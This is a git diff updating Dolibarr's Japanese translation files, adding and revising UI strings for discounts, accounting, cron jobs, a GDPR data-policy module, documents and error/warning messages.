@@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=相対的割引 CustomerAbsoluteDiscountShort=絶対的割引 CompanyHasRelativeDiscount=この顧客のデフォルトでの割引は%sの%% CompanyHasNoRelativeDiscount=この顧客は、デフォルトでの相対割引は無し -HasRelativeDiscountFromSupplier=この仕入先からのデフォルトでの割引は %s%% -HasNoRelativeDiscountFromSupplier=この仕入先からのデフォルトでの相対割引は無し +HasRelativeDiscountFromSupplier=この仕入先のデフォルト割引は %s%% +HasNoRelativeDiscountFromSupplier=この仕入先のデフォルトの相対割引はなし CompanyHasAbsoluteDiscount=この顧客への割引可能額(返金確認 または 頭金充当)は %s %s CompanyHasDownPaymentOrCommercialDiscount=この顧客への割引可能額(値引取引 または 頭金充当)は %s %s CompanyHasCreditNote=この顧客はまだ%s %sのために貸方票を持っている -HasNoAbsoluteDiscountFromSupplier=この仕入先から利用できる割引割戻は無し +HasNoAbsoluteDiscountFromSupplier=この仕入先からの割引/クレジットは不可 HasAbsoluteDiscountFromSupplier=この仕入先から、%s %s 相当の割引が可能 (返金確約または頭金充当) HasDownPaymentOrCommercialDiscountFromSupplier=この仕入先から、 %s %s 相当の割引が可能 (現金値引、頭金充当) HasCreditNoteFromSupplier=この仕入先から、%s %s相当の返金確約があり @@ -444,7 +444,7 @@ AddAddress=アドレスを追加する。 SupplierCategory=仕入先範疇 JuridicalStatus200=独立系 DeleteFile=ファイルを削除 -ConfirmDeleteFile=このファイルを削除してもよいか? +ConfirmDeleteFile=このファイル %s を削除してもよいか? AllocateCommercial=販売担当者に任命 Organization=組織 FiscalYearInformation=会計年度 @@ -498,3 +498,8 @@ RestOfEurope=その他欧州 (EEC) OutOfEurope=欧州域外 (EEC) CurrentOutstandingBillLate=現在の遅延中未払い勘定 BecarefullChangeThirdpartyBeforeAddProductToInvoice=製品の価格設定によっては、POSに製品を追加する前に取引先を変更する必要があることに注意。 +EmailAlreadyExistsPleaseRewriteYourCompanyName=電子メールは既に存在する 法人名を書き直すこと +TwoRecordsOfCompanyName=この法人には複数のレコードが存在する。パートナーシップリクエストを完了するため問い合わせを願う +CompanySection=法人セクション +ShowSocialNetworks=ソーシャルネットワークを表示 +HideSocialNetworks=ソーシャル ネットワークを非表示にする diff --git a/htdocs/langs/ja_JP/compta.lang b/htdocs/langs/ja_JP/compta.lang index 6360919891e..79b039c6b5a 100644 --- a/htdocs/langs/ja_JP/compta.lang +++ b/htdocs/langs/ja_JP/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=残高(前) Balance=残高 Debit=借方 Credit=貸方 +AccountingDebit=借方 +AccountingCredit=貸方 Piece=会計ドキュメント AmountHTVATRealReceived=純回収額 AmountHTVATRealPaid=純支払額 @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=製品ごとに回収済売 TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=売却税率ごとに回収済売上高の報告書は利用できない。この報告書は、請求済売上高に対してのみ使用できる。 CalculationMode=計算モード AccountancyJournal=会計コードジャーナル -ACCOUNTING_VAT_SOLD_ACCOUNT=販売時のVATのデフォルトの勘定科目(VATディクショナリの設定で定義されていない場合に使用) -ACCOUNTING_VAT_BUY_ACCOUNT=購入時のVATのデフォルトの勘定科目(VATディクショナリ設定で定義されていない場合に使用) -ACCOUNTING_VAT_PAY_ACCOUNT=VATを支払うためのデフォルトの勘定科目 -ACCOUNTING_ACCOUNT_CUSTOMER=顧客の第三者に使用される勘定科目 +ACCOUNTING_VAT_SOLD_ACCOUNT=売上に対する VAT の既定の勘定として使用される勘定 (勘定科目表から) (VAT ディクショナリ設定で定義されていない場合に使用) +ACCOUNTING_VAT_BUY_ACCOUNT=購入時の VAT のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (VAT ディクショナリ設定で定義されていない場合に使用) +ACCOUNTING_VAT_PAY_ACCOUNT=VAT を支払うための既定のアカウントとして使用されるアカウント (アカウント チャートから) +ACCOUNTING_ACCOUNT_CUSTOMER=「顧客」取引先に使用されるアカウント (勘定科目表から) ACCOUNTING_ACCOUNT_CUSTOMER_Desc=取引先カードで定義された専用の勘定科目は、補助元帳の会計にのみ使用される。これは総勘定元帳に使用され、取引先の専用顧客勘定科目が定義されていない場合は補助元帳会計のデフォルト値として使用される。 -ACCOUNTING_ACCOUNT_SUPPLIER=ベンダーの取引先に使用される勘定科目 +ACCOUNTING_ACCOUNT_SUPPLIER=「ベンダー」取引先に使用されるアカウント (勘定科目表から) ACCOUNTING_ACCOUNT_SUPPLIER_Desc=取引先カードで定義された専用の勘定科目は、補助元帳の会計にのみ使用される。これは総勘定元帳に使用され、取引先の専用仕入先勘定科目が定義されていない場合は補助元帳会計のデフォルト値として使用される。 ConfirmCloneTax=社会税/財政税のクローンを確定する ConfirmCloneVAT=VAT宣言のクローンを確定する @@ -300,3 +302,4 @@ InvoiceToPay15Days=支払(15〜30日) InvoiceToPay30Days=支払(> 30日) ConfirmPreselectAccount=会計コードを予備選択する ConfirmPreselectAccountQuestion=選択済の%s行を、この会計コードで予備選択にしてもよいか? +AmountPaidMustMatchAmountOfDownPayment=支払額は頭金の額と一致する必要がある diff --git a/htdocs/langs/ja_JP/contracts.lang b/htdocs/langs/ja_JP/contracts.lang index bb610dfdd08..18d12af4b91 100644 --- a/htdocs/langs/ja_JP/contracts.lang +++ b/htdocs/langs/ja_JP/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=こ契約行を削除してもよいか? MoveToAnotherContract=別契約にサービスを移動する。 ConfirmMoveToAnotherContract=私は、新規ターゲット契約を選びましたし、私はこ契約には、このサービスを移動することを確定する。 ConfirmMoveToAnotherContractQuestion=このサービスを移動する(同じ取引先の)既存契約を選択するか? -PaymentRenewContractId=契約行(番号%s)を​​更新 +PaymentRenewContractId=契約更新 %s (サービス %s) ExpiredSince=有効期限の日付 NoExpiredServices=失効済アクティブサービス無し ListOfServicesToExpireWithDuration=%s日で失効済になるサービスリスト diff --git a/htdocs/langs/ja_JP/cron.lang b/htdocs/langs/ja_JP/cron.lang index 4c7815d373a..8392bc64805 100644 --- a/htdocs/langs/ja_JP/cron.lang +++ b/htdocs/langs/ja_JP/cron.lang @@ -26,7 +26,7 @@ CronCommand=コマンド CronList=スケジュールされたジョブ CronDelete=スケジュールされたジョブを削除する CronConfirmDelete=これらのスケジュールされたジョブを削除してもよいか? -CronExecute=スケジュールされたジョブを起動する +CronExecute=今すぐ起動 CronConfirmExecute=これらのスケジュールされたジョブを今すぐ実行してもよいか? CronInfo=スケジュールされたジョブモジュールを使用すると、ジョブをスケジュールして自動的に実行できる。ジョブは手動で開始することもできる。 CronTask=ジョブ @@ -58,7 +58,7 @@ CronNote=コメント CronFieldMandatory=フィールド%sは必須 CronErrEndDateStartDt=終了日を開始日より前にすることはできない StatusAtInstall=モジュールインストール時の状態 -CronStatusActiveBtn=スケジュール +CronStatusActiveBtn=スケジューリングを有効にする CronStatusInactiveBtn=無効にする CronTaskInactive=このジョブは無効になっている(スケジュールされていない) CronId=Id @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=ローカルデータベースのバックアップ MakeLocalDatabaseDump=ローカルデータベースダンプを作成する。パラメータは次のもの: 圧縮 ('gz' or 'bz' or 'none')、バックアップ種別 ('mysql', 'pgsql', 'auto')、1、 'auto' またはビルドするファイル名、保持するバックアップファイルの数 MakeSendLocalDatabaseDumpShort=ローカルデータベースのバックアップを送信する MakeSendLocalDatabaseDump=ローカルデータベースのバックアップを電子メールで送信する。パラメータは次のとおり 。to、from、subject、message、filename(送信されたファイルの名前)、filter(データベースのバックアップのみの「sql」) +BackupIsTooLargeSend=前回のバックアップ ファイルが大きすぎてメールで送信できない +CleanUnfinishedCronjobShort=未完了の cronjob を消去 +CleanUnfinishedCronjob=処理が動作していない場合、処理詰まりしている cronjob を消去 WarningCronDelayed=注意、パフォーマンスの目的で、有効なジョブの次の実行日が何であれ、ジョブは実行される前に最大%s時間まで遅延する可能性がある。 DATAPOLICYJob=データクリーナとアノニマイザ JobXMustBeEnabled=ジョブ%sを有効にする必要がある +EmailIfError=エラー時の警告メール +ErrorInBatch=ジョブ実行時のエラー %s + # Cron Boxes LastExecutedScheduledJob=最後に実行されたスケジュールジョブ NextScheduledJobExecute=次に実行する予定のジョブ NumberScheduledJobError=エラーのあるスケジュールジョブの数 +NumberScheduledJobNeverFinished=終了しなかったスケジュール済みジョブの数 diff --git a/htdocs/langs/ja_JP/datapolicy.lang b/htdocs/langs/ja_JP/datapolicy.lang new file mode 100644 index 00000000000..348f7ffa81f --- /dev/null +++ b/htdocs/langs/ja_JP/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = データプライバシーポリシー +# Module description 'ModuledatapolicyDesc' +Module4100Desc = データのプライバシーを管理するモジュール (GDPR に準拠) + +# +# Administration page +# +datapolicySetup = モジュール データのプライバシー ポリシーの設定 +Deletion = データの削除 +datapolicySetupPage = 各国の法律に応じて (GDPR の例 第 5 条 )、個人データは、アーカイブ目的を除き、収集された目的に必要な期間を超えない期間保持する必要がある。
      削除は、イベントが発生しない一定期間 (以下に指定した期間) が経過すると自動的に行われる。 +NB_MONTHS = %s か月 +ONE_YEAR = 1年 +NB_YEARS = %s年 +DATAPOLICY_TIERS_CLIENT = 顧客 +DATAPOLICY_TIERS_PROSPECT = 見込 +DATAPOLICY_TIERS_PROSPECT_CLIENT = 見込客/顧客 +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = 見込客でも顧客でもない +DATAPOLICY_TIERS_FOURNISSEUR = サプライヤー +DATAPOLICY_CONTACT_CLIENT = 顧客 +DATAPOLICY_CONTACT_PROSPECT = 見込 +DATAPOLICY_CONTACT_PROSPECT_CLIENT = 見込客/顧客 +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = 見込客でも顧客でもない +DATAPOLICY_CONTACT_FOURNISSEUR = サプライヤー +DATAPOLICY_ADHERENT = 構成員 +DATAPOLICY_Tooltip_SETUP = 連絡先の種類 - 種類ごとに選択肢を示する。 +DATAPOLICYMail = メール設定 +DATAPOLICYSUBJECTMAIL = メールの件名 +DATAPOLICYCONTENTMAIL = メールの内容 +DATAPOLICYSUBSITUTION = メールでは次の変数を使用できる (LINKACCEPT を使用すると、その人の同意を記録するリンクを作成できる。LINKREFUSED を使用すると、その人の拒否を記録できる): +DATAPOLICYACCEPT = 契約後のメッセージ +DATAPOLICYREFUSE = 同意後のメッセージ +SendAgreementText = 関連するすべての連絡先 (まだメールを受信しておらず、GDPR 契約について何も登録していない連絡先) に GDPR メールを送信できる。これを行うには、次のボタンを使用する。 +SendAgreement = メールを送る +AllAgreementSend = すべてのメールが送信された +TXTLINKDATAPOLICYACCEPT = リンク「同意書」のテキスト +TXTLINKDATAPOLICYREFUSE = リンク「同意しない」のテキスト + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : 個人データの処理 +DATAPOLICY_consentement = 個人データの処理について得られた同意 +DATAPOLICY_opposition_traitement = 彼の個人データの処理に不同意 +DATAPOLICY_opposition_prospection = 調査目的での個人データの処理に不同意 + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = 取引先の匿名化 +DATAPOLICY_POPUP_ANONYME_TEXTE = 関連アイテムがあるため、この連絡先を Dolibarr から削除できない。 GDPR に従って、義務を順守するために、このすべてのデータを匿名化する。続行してよいか? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = 移植性GDPR +DATAPOLICY_PORTABILITE_TITLE = 個人データのエクスポート +DATAPOLICY_PORTABILITE_CONFIRMATION = この連絡先の個人データをエクスポートする。よいか ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = %s を匿名化 + +# V2 +DATAPOLICYReturn = GDPR の検証 +DATAPOLICY_date = 同意日/同意解除日 GDPR +DATAPOLICY_send = 同意メール送信日 +DATAPOLICYReturn = GDPR の検証 +DATAPOLICY_SEND = GDPR メールを送信する +MailSent = メールが送信された + +# ERROR +ErrorSubjectIsRequired = エラー : 電子メールの件名は必須。モジュール設定で指定 +=技術的な問題により、お客様の選択は登録不可。謝罪をする。お問い合わせの上、お客様の選択を送ってください。 +NUMBER_MONTH_BEFORE_DELETION = 削除前の月数 diff --git a/htdocs/langs/ja_JP/dict.lang b/htdocs/langs/ja_JP/dict.lang index 5fe30a20a17..7c44aa57c8e 100644 --- a/htdocs/langs/ja_JP/dict.lang +++ b/htdocs/langs/ja_JP/dict.lang @@ -247,10 +247,13 @@ CountryJE=ジャージー島 CountryME=モンテネグロ CountryBL=セントバーツ CountryMF=サンマルタン島 +CountryXK=コソボ ##### Civilities ##### CivilityMME=ミセス +CivilityMMEShort=ミセス CivilityMR=ミスター +CivilityMRShort=ミスター CivilityMLE=ミズ CivilityMTRE=マスタ CivilityDR=ドクター diff --git a/htdocs/langs/ja_JP/ecm.lang b/htdocs/langs/ja_JP/ecm.lang index b4b9231bc99..986ef4448d7 100644 --- a/htdocs/langs/ja_JP/ecm.lang +++ b/htdocs/langs/ja_JP/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=手動のディレクトリ ECMSectionAuto=自動ディレクトリ ECMSectionsManual=手動ツリー ECMSectionsAuto=自動ツリー +ECMSectionsMedias=メディアツリー ECMSections=ディレクトリ ECMRoot=ECMルート ECMNewSection=新規ディレクトリ @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=サブディレクトリ内のファイルの数 ECMCreationUser=クリエイター ECMArea=DMS / ECMエリア ECMAreaDesc=DMS / ECM(ドキュメント管理システム/電子コンテンツ管理)エリアでは、Dolibarr内のあらゆる種類のドキュメントをすばやく保存、共有、検索できる。 -ECMAreaDesc2=要素のカードからドキュメントを追加するときに*自動ディレクトリは自動的に入力される。
      *マニュアルのディレクトリは、特定の要素にリンクされていないドキュメントを保存するために使用することができる。 +ECMAreaDesc2a=* 手動ディレクトリは、特定の要素にリンクされていないドキュメントを保存するために使用できる。 +ECMAreaDesc2b=* 要素のページからドキュメントを追加すると、自動ディレクトリが自動的に入力される。 +ECMAreaDesc3=* Medias ディレクトリは、documents ディレクトリのサブディレクトリ /medias にあるファイルであり、ログに記録する必要もファイルを明示的に共有する必要もなく、誰でも読み取り可能。たとえば、電子メールやウェブサイト モジュールなどの画像ファイルを保存するために使用される。 ECMSectionWasRemoved=ディレクトリの%sが削除されている。 ECMSectionWasCreated=ディレクトリ%sが作成された。 ECMSearchByKeywords=キーワードで検索 diff --git a/htdocs/langs/ja_JP/errors.lang b/htdocs/langs/ja_JP/errors.lang index 551b2872ad8..9cc95c1640c 100644 --- a/htdocs/langs/ja_JP/errors.lang +++ b/htdocs/langs/ja_JP/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=ログイン%sは既に存在している。 ErrorGroupAlreadyExists=グループ%sは既に存在している。 ErrorEmailAlreadyExists=メール%sは既に存在する。 ErrorRecordNotFound=レコードが見つからなかった。 +ErrorRecordNotFoundShort=見つからない ErrorFailToCopyFile="%s"にファイル"%s"をコピーに失敗した。 ErrorFailToCopyDir=ディレクトリ ' %s'を ' %s'にコピーできなかった。 ErrorFailToRenameFile="%s"にファイル"%s"をリネームに失敗した。 @@ -48,6 +49,7 @@ ErrorBadImageFormat=画像ファイルはサポートされている形式では ErrorBadDateFormat=値 '%s'に間違った日付の形式になっている ErrorWrongDate=日付が正しくない! ErrorFailedToWriteInDir=ディレクトリ%sの書き込みに失敗した +ErrorFailedToBuildArchive=アーカイブ ファイル %s の構築に失敗した ErrorFoundBadEmailInFile=ファイル内の%s線の発見誤った電子メールのシンタックス(電子メール= %sを使用したサンプルライン%s) ErrorUserCannotBeDelete=ユーザを削除することはできない。多分それはDolibarrエンティティに関連付けられている。 ErrorFieldsRequired=一部の必須フィールドは空白のままになっている。 @@ -55,7 +57,7 @@ ErrorSubjectIsRequired=メールの件名が必要 ErrorFailedToCreateDir=ディレクトリの作成に失敗した。そのWebサーバのユーザがDolibarrのドキュメントディレクトリに書き込む権限を持って確認すること。パラメータ のsafe_modeがこのPHPが有効になっている場合、Dolibarr PHPファイルは、Webサーバーのユーザ(またはグループ)に所有していることを確認すること。 ErrorNoMailDefinedForThisUser=このユーザに定義されたメールはない ErrorSetupOfEmailsNotComplete=メールの設定が完了していない -ErrorFeatureNeedJavascript=この機能が動作するように有効化するjavascriptをする必要がある。設定でこれを変更 - 表示される。 +ErrorFeatureNeedJavascript=この機能は javascript が動作するよう活性化させる必要がある。設定でこれを変更 - 表示。 ErrorTopMenuMustHaveAParentWithId0=タイプは 'top'のメニューが親メニューを持つことはできない。親メニューに0を置くか、または型 "左"のメニューを選択する。 ErrorLeftMenuMustHaveAParentId=タイプ "左"のメニューは、親IDを持つ必要がある。 ErrorFileNotFound=ファイル%sが見つからない (不良パス、不正権限、アクセス拒否など、PHP openbasedir または セーフモードパラメータ による) @@ -76,9 +78,9 @@ ErrorNoValueForCheckBoxType=チェックボックスリストの値を入力す ErrorNoValueForRadioType=ラジオリストの値を入力すること ErrorBadFormatValueList=リスト値に複数のコンマを含めることはできない: %s 、ただし少なくとも1つ必要: key,value ErrorFieldCanNotContainSpecialCharacters=フィールド%sに特殊文字を含めることはできない。 -ErrorFieldCanNotContainSpecialNorUpperCharacters=フィールド%s には、特殊文字や大文字を含めることはできず、数字のみを含めることはできない。 +ErrorFieldCanNotContainSpecialNorUpperCharacters=フィールド %s には、特殊文字や大文字を含めてはならず、アルファベット文字 (a ~ z) で開始する必要がある。 ErrorFieldMustHaveXChar=フィールド%s には、少なくとも%s文字が必要だ。 -ErrorNoAccountancyModuleLoaded=有効化済会計モジュールなし +ErrorNoAccountancyModuleLoaded=活性化済会計モジュールなし ErrorExportDuplicateProfil=このプロファイル名は、このエクスポートセットに既に存在する。 ErrorLDAPSetupNotComplete=Dolibarr-LDAPのマッチングは完全ではない。 ErrorLDAPMakeManualTest=.ldifファイルは、ディレクトリ%sで生成された。エラーの詳細情報を持つようにコマンドラインから手動でそれをロードしようとする。 @@ -95,10 +97,10 @@ ErrorWrongValueForField=フィールド%s : ' %s ' は、正規 ErrorHtmlInjectionForField=フィールド%s: 値 ' %s 'には、許可されない悪意あるデータが含まれる ErrorFieldValueNotIn=フィールド%s:'%s' はフィールド %s である %s にあるものの値とは異なる ErrorFieldRefNotIn=フィールド%s : ' %s' は存在する %s 参照ではない +ErrorMultipleRecordFoundFromRef=ref %s から検索すると、いくつかのレコードが見つかった。使用する ID を知る方法はない。 ErrorsOnXLines=%sエラーが見つかった ErrorFileIsInfectedWithAVirus=ウイルス対策プログラムがファイルを検証ことができなかった(ファイルがウイルスに感染されるかもしれない) -ErrorSpecialCharNotAllowedForField=特殊文字は、フィールド "%s"に許可されていない -ErrorNumRefModel=参照は、データベース(%s)に存在し、この発番規則と互換性がない。このモジュールを有効化するため、レコードを削除するか、参照を変更すること。 +ErrorNumRefModel=参照は、データベース(%s)に存在し、この発番規則と互換性がない。このモジュールを活性化するため、レコードを削除するか、参照を変更すること。 ErrorQtyTooLowForThisSupplier=このベンダーの数量が少なすぎるか、このベンダーのこの製品に価格が定義されていない ErrorOrdersNotCreatedQtyTooLow=数量が少なすぎるため、一部の注文が作成されていない ErrorModuleSetupNotComplete=モジュール%sの設定が完了していないようだ。ホーム-設定-モジュールに移動して完了する。 @@ -134,7 +136,7 @@ ErrorLinesCantBeNegativeForOneVATRate=行の合計(税控除後)は、特定のn ErrorLinesCantBeNegativeOnDeposits=入金でラインがマイナスになることはない。あなたがそうするならば、あなたが最終的な請求書で入金を消費する必要があるとき、あなたは問題に直面するだろう。 ErrorQtyForCustomerInvoiceCantBeNegative=顧客の請求書への明細の数量をマイナスにすることはできない ErrorWebServerUserHasNotPermission=Webサーバを実行するユーザアカウントを使用%sそのための権限を持っていない -ErrorNoActivatedBarcode=有効化済バーコード·タイプがない +ErrorNoActivatedBarcode=活性化済バーコード·タイプなし ErrUnzipFails=ZipArchiveで%sを解凍できなかった ErrNoZipEngine=このPHPで%sファイルをzip / unzipするエンジンはない ErrorFileMustBeADolibarrPackage=ファイル%sはDolibarrzipパッケージである必要がある @@ -239,9 +241,10 @@ ErrorNewRefIsAlreadyUsed=エラー、新規参照は既に使用されている ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=エラー、クローズされた請求書にリンクされた支払を削除することはできない。 ErrorSearchCriteriaTooSmall=検索条件が小さすぎる。 ErrorObjectMustHaveStatusActiveToBeDisabled=無効にするには、オブジェクトの状態が "アクティブ" である必要がある -ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=オブジェクトを有効にするには、状態が "下書き" または "無効" である必要がある +ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=オブジェクトを有効化には、状態が "下書き" または "無効" である必要がある ErrorNoFieldWithAttributeShowoncombobox=オブジェクト '%s'の定義にプロパティ 'showoncombobox'を持つフィールドはない。コンボリストを表示する方法はない。 ErrorFieldRequiredForProduct=製品%sには、フィールド '%s'が必要だ。 +AlreadyTooMuchPostOnThisIPAdress=あなたはすでにこの IP アドレスに過剰な投稿をしている。 ProblemIsInSetupOfTerminal=ターミナル%sの設定に問題がある。 ErrorAddAtLeastOneLineFirst=最初に少なくとも1行追加する ErrorRecordAlreadyInAccountingDeletionNotPossible=エラー、レコードは既に会計で移動済、削除不可。 @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=エラー、パラメータ %s ErrorLoginDateValidity=エラー、このログインは有効期間外だ ErrorValueLength=フィールドの長さ ' %s 'は ' %s'より大きくなければならない ErrorReservedKeyword=「%s」という単語は予約語 +ErrorFilenameReserved=ファイル名 %s は、予約および保護されたコマンドであるため使用不可。 ErrorNotAvailableWithThisDistribution=このディストリビューションでは利用できない ErrorPublicInterfaceNotEnabled=公開インターフェイスが有効になっていない ErrorLanguageRequiredIfPageIsTranslationOfAnother=別のページの翻訳として設定されている場合は、新しいページの言語を定義する必要がある @@ -277,8 +281,8 @@ ErrorWrongFileName=ファイル名に__SOMETHING__を含めることはできな ErrorNotInDictionaryPaymentConditions=支払条件辞書にないので、変更すること。 ErrorIsNotADraft=%sは下書きではない ErrorExecIdFailed=コマンド「id」を実行できない -ErrorBadCharIntoLoginName=ログイン名に含まれる不正な文字 -ErrorRequestTooLarge=エラー、要求が大きすぎる +ErrorBadCharIntoLoginName=フィールド %s の不正な文字 +ErrorRequestTooLarge=エラー、リクエストが大きすぎるか、セッションの有効期限が切れた ErrorNotApproverForHoliday=あなたは休暇の承認者ではない%s ErrorAttributeIsUsedIntoProduct=この属性は、1つ以上の製品バリアントで使用される ErrorAttributeValueIsUsedIntoProduct=この属性値は、1つ以上の製品バリアントで使用される @@ -291,21 +295,36 @@ ErrorAjaxRequestFailed=申請が失敗 ErrorThirpdartyOrMemberidIsMandatory=取引先またはパートナーシップのメンバーは必須 ErrorFailedToWriteInTempDirectory=一時ディレクトリへの書き込みに失敗 ErrorQuantityIsLimitedTo=数量限定 %s +ErrorFailedToLoadThirdParty=id=%s、email=%s、name=%s による 取引先の検索/読込に失敗した +ErrorThisPaymentModeIsNotSepa=この支払いモードは銀行口座ではない +ErrorStripeCustomerNotFoundCreateFirst=このサードパーティには Stripe カスタマーが設定されていない (または Stripe 側で削除された値に設定されている)。最初に作成 (または再接続) する。 +ErrorCharPlusNotSupportedByImapForSearch=IMAP 検索は、文字 + を含む文字列での送信者または受信者を検索できない +ErrorTableNotFound=テーブル %s が見つかりません +ErrorValueForTooLow= %s の値が低すぎる +ErrorValueCantBeNull= %s の値は null 不可 +ErrorDateOfMovementLowerThanDateOfFileTransmission=銀行取引の日付は、ファイル送信の日付より前にすることはできない +ErrorTooMuchFileInForm=フォーム内のファイルが多すぎる。最大数は %s ファイル (s) +ErrorSessionInvalidatedAfterPasswordChange=パスワード、ステータス、または有効期限が変更されたため、セッションが無効になった。再ログインすること。 +ErrorExistingPermission = オブジェクト %s に対する権限 %s は既に存在する +ErrorFieldExist= %s の値は既に存在する +ErrorEqualModule= %s で無効なモジュール +ErrorFieldValue= %s の値が正しくない +ErrorCoherenceMenu= %s は、 %s が「左」の場合に必要。 # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=PHPパラメータ upload_max_filesize(%s)は、PHPパラメータ post_max_size(%s)よりも大きくなっている。これは一貫した設定ではない。 WarningPasswordSetWithNoAccount=この構成員にパスワードが設定された。ただし、ユーザアカウントは作成されなかった。したがって、このパスワードは保存されるが、Dolibarrへのログインには使用できない。外部モジュール/インターフェースで使用できるが、構成員のログインやパスワードを定義する必要がない場合は、構成員モジュールの設定から "各構成員のログインを管理する" オプションを無効にすることができる。ログインを管理する必要があるがパスワードは必要ない場合は、このフィールドを空のままにして、この警告を回避できる。注:構成員がユーザにリンクされている場合は、電子メールをログインとして使用することもできる。 WarningMandatorySetupNotComplete=主なパラメータの設定はこちら -WarningEnableYourModulesApplications=モジュールとアプリケーションを有効にするには、ここをクリックすること +WarningEnableYourModulesApplications=モジュールとアプリケーションの有効化には、ここをクリックすること WarningSafeModeOnCheckExecDir=警告、PHPのオプションセーフモードは、PHPのパラメータ safe_mode_exec_dirの宣言されたディレクトリ内に格納する必要があるので、コマンドにある。 WarningBookmarkAlreadyExists=この職種またはこのターゲットを使用して、ブックマーク(URL)が既に存在している。 WarningPassIsEmpty=警告は、データベースのパスワードは空だ。これはセキュリティホールだ。あなたのデータベースにパスワードを追加し、これを反映するようにconf.phpファイルを変更する必要がある。 WarningConfFileMustBeReadOnly=警告、設定ファイル (htdocs/conf/conf.php) はWebサーバーによって上書きされうる。これは重大なセキュリティホールだ。 Webサーバーで使用されるオペレーティング·システム·ユーザのために読取り専用モードになるようにファイルのパーミッションを変更すること。あなたのディスクにWindowsとFATフォーマットを使用すると、このファイルシステムはファイルのパーミッションを追加することはできず、完全な安全を得られないことを知っている必要がある。 WarningsOnXLines=%sソース行に関する警告 -WarningNoDocumentModelActivated=ドキュメント生成用のモデルは有効化されていない。モジュールの設定を確認するまで、デフォルトでモデルが選択される。 +WarningNoDocumentModelActivated=ドキュメント生成用のモデルは活性化されていない。モジュールの設定を確認するまで、デフォルトでモデルが選択される。 WarningLockFileDoesNotExists=警告、設定が完了したら、ファイル install.lockをディレクトリ%s に追加して、インストール/移行ツールを無効にする必要がある。このファイルの作成を省略すると、重大なセキュリティリスクが発生する。 -WarningUntilDirRemoved=全セキュリティ警告(管理者ユーザのみに表示)は、脆弱性が存在する限り(または、 設定 -> その他の設定 で定数 MAIN_REMOVE_INSTALL_WARNING が追加されている限り)アクティブなままだ。 -WarningCloseAlways=警告、ソース要素とターゲット要素の間で量が異なっていても、クローズは行われる。この機能は注意して有効にすること。 +WarningUntilDirRemoved=このセキュリティ警告は、脆弱性が存在する限りアクティブなまま 。 +WarningCloseAlways=警告、ソース要素とターゲット要素の間で量が異なっていても、クローズは行われる。この機能は注意して有効化すること。 WarningUsingThisBoxSlowDown=警告、このボックスを使用すると、ボックスを表示している全ページの速度が大幅に低下する。 WarningClickToDialUserSetupNotComplete=ユーザのClickToDial情報の設定が完了していない(ユーザカードのClickToDialタブを参照)。 WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=表示設定が視覚障害者またはテキストブラウザ用に最適化されている場合、機能は無効になる。 @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=請求書%sの支払日(%s)が請求日(% WarningTooManyDataPleaseUseMoreFilters=データが多すぎる(%s行を超えている)。より多くのフィルタを使用するか、定数%sをより高い制限に設定すること。 WarningSomeLinesWithNullHourlyRate=時間料金が定義されていないときに、一部のユーザによって記録された時間もある。 1時間あたり0%sの値が使用されたが、これにより、費やされた時間の誤った評価が発生する可能性がある。 WarningYourLoginWasModifiedPleaseLogin=ログインが変更された。セキュリティ上の理由から、次のアクションの前に新規ログインでログインする必要がある。 +WarningYourPasswordWasModifiedPleaseLogin=パスワードが変更された。セキュリティ上の理由から、新しいパスワードで今すぐログインする必要がある。 WarningAnEntryAlreadyExistForTransKey=この言語の翻訳キーのエントリは既に存在する WarningNumberOfRecipientIsRestrictedInMassAction=警告、リストで一括アクションを使用する場合、異なる受信者の数は %sに制限される WarningDateOfLineMustBeInExpenseReportRange=警告、行の日付が経費報告書の範囲内にない @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=HTTPSで保護された接続を使用して WarningModuleXDisabledSoYouMayMissEventHere=モジュール%sが有効になっていない。そのため、ここでは多くのイベントを見逃す可能性がある。 WarningPaypalPaymentNotCompatibleWithStrict=値「Strict」では、現在はオンライン支払機能が正常動作せず。代わりに「Lax」を使用すること。 WarningThemeForcedTo=警告、テーマは隠し定数 MAIN_FORCETHEME によって%sに強制された +WarningPagesWillBeDeleted=警告、これにより、ウェブサイトの既存のページ/コンテナもすべて削除される。事前にウェブサイトをエクスポートする必要があり、後で再インポートするためのバックアップとなる。 +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=「請求書の検証」で在庫を減らすオプションが設定されている場合、自動検証は無効になる。 +WarningModuleNeedRefrech = モジュール %s が無効になった。有効にすることを忘れないこと # Validate RequireValidValue = 値が無効. diff --git a/htdocs/langs/ja_JP/eventorganization.lang b/htdocs/langs/ja_JP/eventorganization.lang index 1ebd624b0f7..737fd0e5663 100644 --- 